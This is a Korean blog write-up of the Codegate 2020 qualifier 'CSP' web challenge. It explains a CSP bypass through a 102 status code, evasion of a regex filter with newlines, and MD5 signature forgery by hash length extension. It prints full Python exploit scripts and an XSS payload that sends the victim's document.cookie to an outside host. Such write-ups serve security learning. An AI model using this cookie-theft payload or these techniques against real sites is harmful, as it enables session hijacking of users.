ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Codegate2020_Qual] - CSP 뒷북 풀이
    WeekHack/WebHacking 2020. 2. 10. 03:31
    반응형
    SMALL

    안녕하세요. Luke입니다.

     

    코드게이트 2020을 마치고 왔습니다. 올해 코게는 포너블에만 치우치지 않고 여러 분야의 문제가 나와서 더욱 재밌었던 것 같습니다. 비록 33위로 본선은 못갈 것 같습니다만, 대회가 끝나고 라업이 나왔기에, 오랜 시간을 쏟았던 문제인 csp를 다시 한번 풀어보려 합니다.

     

    CSP는 702점 짜리 문제로, 이거 풀었으면 본선 갔는데 정말 아쉬운 문제였습니다. 평소에 많은 문제를 접해보는게 왜 중요한지 다시금 깨달을 수 있는 문제였습니다. 그렇기에 서버가 닫히기 전에 후다닥 한번 풀어봤습니다.

    아까웠던 CSP


    먼저 CSP의 구조를 간단히 살펴보자면, 제일먼저 보이는게 index.php로 다음과 같이 생겼습니다.

     

    그런 다음 저기에서 무언가를 입력하고 submit를 하면, view.php가 펼쳐집니다.

    view.php에는 api.php가 iframe으로 박혀있습니다. 

     

    또, 추가적으로 report.php를 통해 버그가 있는 페이지를 신고할 수 있다고 합니다.

    report.php에는 간단한 pow가 있는 다음 버그가 있는 페이지 url을 삽입해 제보할 수 있었습니다. 그래서 간단히 시나리오를 구상해본 결과, 전형적인 xss문제 일 것 같았습니다.

     

    관리자 봇이 report.php를 수시로 읽을 것이며, url to report에 작성한 url을 플래그가 담긴 쿠키를 가진 관리자 봇이 읽을 것이라고 예상했습니다.

     


    그럼 이쯤에서 한번 주어진 소스코드를 열어보겠습니다. 소스코드는 api.php만 주어졌습니다.

    <?php
    require_once 'config.php';
    
    if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
        die("?");
    }
    
    $api_string = base64_decode($_GET["q"]);
    $sig = $_GET["sig"];
    
    if(md5($salt.$api_string) !== $sig){
        die("??");
    }
    
    //APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
    $apis = explode("|", $api_string);
    foreach($apis as $s) {
        $info = explode(",", $s);
        if(count($info) != 3)
            continue;
        $n = base64_decode($info[0]);
        $p1 = base64_decode($info[1]);
        $p2 = base64_decode($info[2]);
    
        if ($n === "header") {
            if(strlen($p1) > 10)
                continue;
            if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
                continue;
            header("$p1: $p2");
        }
        elseif ($n === "cookie") {
            setcookie($p1, $p2);
        }
        elseif ($n === "body") {
            if(preg_match("/<.*>/", $p1))
                continue;
            echo $p1;
            echo "\n<br />\n";
        }
        elseif ($n === "hello") {
            echo "Hello, World!\n";
        }
    }
    

     

    간단히 해석하면 q파라미터와 sig파라미터를 통해 get으로 인자를 받아옵니다.

    $api_string은 q파라미터를 통해 받아온 값을 base64_decode 한 값입니다. 그리고 $salt와 $api_string을 더한 값을 md5하여 sig로 비교한 후 일치 할 경우에만 다음으로 넘어갑니다.

     

    다음으로 넘어간 다음에는 $apis를 통해 |를 기준으로 explode()해줍니다.

    그 후 각 배열의 요소를 통해 반복문을 돌리는데, api_name으로 설정했던 값을 기준으로 기능이 바뀌게 됩니다.

     

    이름이 header 일경우: 필터링을 거친 후 이상이 없을 경우 header($p1:$p2)와 같이 실행시킵니다.

    이름이 cookie 일경우: $p1이름의 $p2 내용을 가진 쿠키를 생성시킵니다.

    이름이 body일 경우 <로 시작하여>로 끝나는 구문이 있는지 확인하여 없다면 html구문을 실행시킵니다.

    이름이 hello일 경우: hello world를 출력합니다.

     

     

    소스코드를 간단히 분석해본 결과 body를 통해 xss를 진행하면 될것 같습니다만, 그렇게 쉬웠다면 이 문제를 대회 중에 풀 수 있었겠지요.


    해당 문제에는 csp가 걸려있었습니다. csp에 대한 설명은 다음 링크를 참고해주세요.
    https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Content-Security-Policy

    csp를 분석해보았습니다.

    https://csp-evaluator.withgoogle.com/

    default-src 'self'

    script-src 'none'

    base-uri 'none'

    이 걸려있었습니다.

     

    object-src가 missing되어 있다고 나와있지만, 대회 중에 제가 object태그를 통해 xss를 시도해본 결과, object 태그를 이용해 다른 페이지를 삽입하는 건 가능했으나, javascript는 실행되지 않았으며, 타 페이지는 실행되지 않고 같은 도메인:포트를 가진 페이지만을 삽입할 수 있었습니다.

    이는 default-src 때문으로 default-src는 다음과 같은 것을 모두 포함합니다. 그렇기에 self만 삽입이 가능했던 것이죠. iframe도 같았습니다.

    https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Content-Security-Policy/default-src

     


    그럼 아마 csp를 우회할 방법을 찾아야 할 것 같습니다. => 이걸 몰라서 대회 도중에 못풀었습니다. 그러나, 대회가 끝난 후 다른 어떤분께서 블로그(https://blog.rwx.kr/codegate-ctf-2020-preliminary/)에 해당 문제 라업을 올려주셔서 풀이법을 찾을 수 있었습니다.

    제목대로 본 문제는 위와 동일한 CSP 설정이 존재하여 사이트에서의 XSS 발생을 방지하고 있습니다.
    하지만, 일반적이지 않은 상태코드에서 CSP는 동작하지 않을 수 있습니다.
    따라서 api 기능을 통해서 응답 상태코드를 102 로 설정해 주어, CSP 를 우회할 수 있습니다.

    즉, 아까의 header기능을 통해 header 조작이 가능하기에

    header("HTTP/: 102");

    을 넣을 수 있다면 csp를 우회할 수 있다고 합니다. http응답 코드를 200번대 400번대, 500번대만 대략 알고 있었던게 문제가 됬던 것 같습니다. 나름 신선한 충격이었네요.


    다시 문제로 돌아가서, 그럼 어떻게 xss를 터뜨려서 공격을 해야할까요? 아마 body기능을 써서 script를 삽입해야 할 것 같습니다. 필터링이 있지만, 정규표현식이 뭔가 허술하기에 우회할 수 있습니다. 이는 글의 조금 뒤에서 더 다뤄보도록 하겠습니다.

     

    그럼 간단히 시나리오를 작성해보면, xss를 띄우기 위한 조건은 다음과 같습니다.

    • header기능을 통해 http응답코드를 102로 변경
    • body기능을 통해 xss script 삽입

    그럼 이 두개를 동시에 어떻게 충족시켜야 할까요? 바로 아래 코드와 같이 |를 통해 explode()를 하여 기능을 실행한다는 점을 이용해야 합니다.

    //APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
    $apis = explode("|", $api_string);


    그렇지만 우리가 넣을 수 있는건 아래 그림과 같이 한 가지 밖에 api에 전해줄 수 없고

    아래 코드와 같이 $salt를 모르기 때문에 api.php로 바로 인자를 전달해 줄 수 도 없는데 말이죠. 바로 hash length extension attack을 이용할 수 있습니다. 2010년 코게에도 해당 취약점을 이용하는 문제가 나왔다고 들었는데 10년만에 돌아왔군요.

     

    hash length extension 공격의 경우 예전에 rubiya님의 구 블로그(https://blog.naver.com/withrubiya/70173346636)에서 접했습니다. 간단히 설명을 해보자면, md5와 sha1, sha2, sha256 등등에서 발생하는 취약점으로, $salt를 모르더라도 md5($salt.$plain_txt)와 $salt의 길이를 안다면 hash값을 알아낼 수 있는 취약점 입니다.

     

    그리고 이를 편하게 사용할 수 있게 해주는 툴로, hashpump라는 툴이 존재합니다.

    https://github.com/bwall/HashPump

     

    bwall/HashPump

    A tool to exploit the hash length extension attack in various hashing algorithms - bwall/HashPump

    github.com


    그럼 이제 다시 문제로 또 돌아와 봅시다. 우리는 공격을 성공시키기 위해 다음과 같은 조건을 만족시켜야 한다고 했습니다.

    • header기능을 통해 http응답코드를 102로 변경
    • body기능을 통해 xss script 삽입

    header의 경우 api의 header 기능으로 사용하면 됩니다. 그럼 xss script를 어떻게 필터링을 피해 넣을 수 있을까요? 다시 한번 정규 표현식을 살펴봅시다.

    if(preg_match("/<.*>/", $p1))
                continue;

    regex101.com

    <로 시작하여 >으로 끝나는 구문을 탐지합니다. 

     

    그럼 어떻게 우회하여야 할까요? 바로 다음과 같이 중간에 개행문자를 넣어주면 됩니다.

    <script\n>alert("xss")</script\n>

     


    그럼 이제 우리가 이제까지 알아본 내용을 이용해 최종 익스 코드를 작성해봅시다. 우리가 사용할 건 다음과 같습니다.

    • header기능을 통해 http응답코드를 102로 변경
    • body기능을 통해 xss script 삽입
    • hashpump를 이용해 저 두가지를 동시에 전달!

     

    그러나.. 아까 말했듯 hash length extension attack을 하기 위해서는 $salt의 자리 수를 알아야 합니다. 그럼 그건 어떻게 해결할까요? 간단합니다. 자리 수 정도는 브루트포싱해도 됩니다. 그렇기에 저희는 1부터 hashpump에 자리수를 넣어볼 것이고 그것을 기반으로 hash를 만들어 xss를 진행해 볼 것입니다. 간단히 익스코드를 작성해보았습니다.

    import os
    import hashpumpy
    import requests
    
    a = ['header', 'HTTP/', '102']
    b = ['body', '<script\n>alert("XSS")</script\n>', '']
    a2=''
    b2=''
    
    for i in a:
            a2+=','+b64encode(i.encode()).decode()
    a2=a2.replace(",","",1)
    for i in b:
            b2+=','+b64encode(i.encode()).decode()
    b2=b2.replace(",","",1)
    
    string = '|'+a2+'|'+b2
    
    keylen=0
    while True:
            keylen+=1
            [sig, q] = hashpumpy.hashpump('9fbaac10c96216cd80ce23798decc6c0','YQ==,Yg==,Yw==',string,keylen)
            q = b64encode(q).decode()
            url='http://110.10.147.166/api.php?sig='+sig+'&q='+q
            rs = requests.get(url)
            rs_text = rs.text
            if rs_text != "??":
                    print(url)
                    break
    

     

     

    위 파이썬3 코드를 실행시킬 경우, 아래와 같은 url을 던져주게 됩니다.

     

    위 url을 브라우저에 넣고 실행시키면..?

    스크립트가 정상적으로 작동함을 알 수 있습니다. 그럼 이제 뭘 해야할까요?


    뭘하긴 플래그 구해야죠!

    플래그는 아까 말했듯이 report.php를 통해 관리자봇이 해당 링크를 읽게 함으로써 구할 수 있습니다.

    일단 그럼 xss에 사용된 js가 alert가 아닌 쿠키를 가져오게 해야할 것 입니다. js코드를 조금 고쳤습니다.

    <script\n>window.location.href="http://idc.jaeuk.xyz:8080?cookie="+document.cookie;</script\n>

     

    익스코드도 위에 맞추어 조금 바꾸었습니다.

    from base64 import b64encode
    import os
    import hashpumpy
    import requests
    
    a = ['header', 'HTTP/', '102']
    b = ['body', '<script\n>window.location.href="http://idc.jaeuk.xyz:8080?cookie="+document.cookie;</script\n>', '']
    a2=''
    b2=''
    
    for i in a:
            a2+=','+b64encode(i.encode()).decode()
    a2=a2.replace(",","",1)
    for i in b:
            b2+=','+b64encode(i.encode()).decode()
    b2=b2.replace(",","",1)
    
    string = '|'+a2+'|'+b2
    
    keylen=0
    while True:
            keylen+=1
            [sig, q] = hashpumpy.hashpump('9fbaac10c96216cd80ce23798decc6c0','YQ==,Yg==,Yw==',string,keylen)
            q = b64encode(q).decode()
            url='http://110.10.147.166/api.php?sig='+sig+'&q='+q
            rs = requests.get(url)
            rs_text = rs.text
            if rs_text != "??":
                    print(url)
                    break
    

    그럼 이제 report.php로 신고하러 가봅시다

    그런데 pow가 있네요?

     

    예전에 다른 ctf에서 사용한 pow 코드를 가져와서 md5를 급하게 sha1으로만 바꿔서 돌렸습니다.

    from itertools import product
    import hashlib
    
    chars=""
    for i in range(48,123):
        chars+=chr(i)
    
    for length in range(1, 15):	# length
        to_attempt = product(chars, repeat=length)
        for attempt in to_attempt:
            brute = ''.join(attempt)
            string=brute
            print("raw string: "+string)
            string=string.encode('UTF-8')
            md5=hashlib.new('sha1')
            md5.update(string)
            res=md5.hexdigest()
            print(res)
            reslist=list(res)
            digit=res[:5]
            print(digit)
    
            if digit=='d3718':
                print("[FIND!!]")
                string = string.decode("UTF-8")
                print("** raw string: " + string)
                print("** " + res)
                exit(0)
            else:
                pass

     

    pow를 얻어낼 수 있었습니다. pow값은 0CSS 였습니다.

     

    이제 플래그를 얻을 일만 남았군요. nc로 리슨을 해준 다음..

     

    report.php의 submit를 누르면?

    다음과 같이 flag를 얻을 수 있었습니다.

     

    CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}

     

    오래 잡고 있었던 문제였는데 어쨋든 풀어서 개운하네요 ㅎㅎ. 본선은 못가게 되었지만, 어쨋든 코드게이트 즐거웠습니다. 수고해주신 운영진 분들 감사합니다 ㅎㅎ

    다음 포스팅엔 디포 좀 공부해보겠습니다 ㅎㅎ

    반응형
    LIST

    댓글

Copyright ⓒ 2019, WeekHack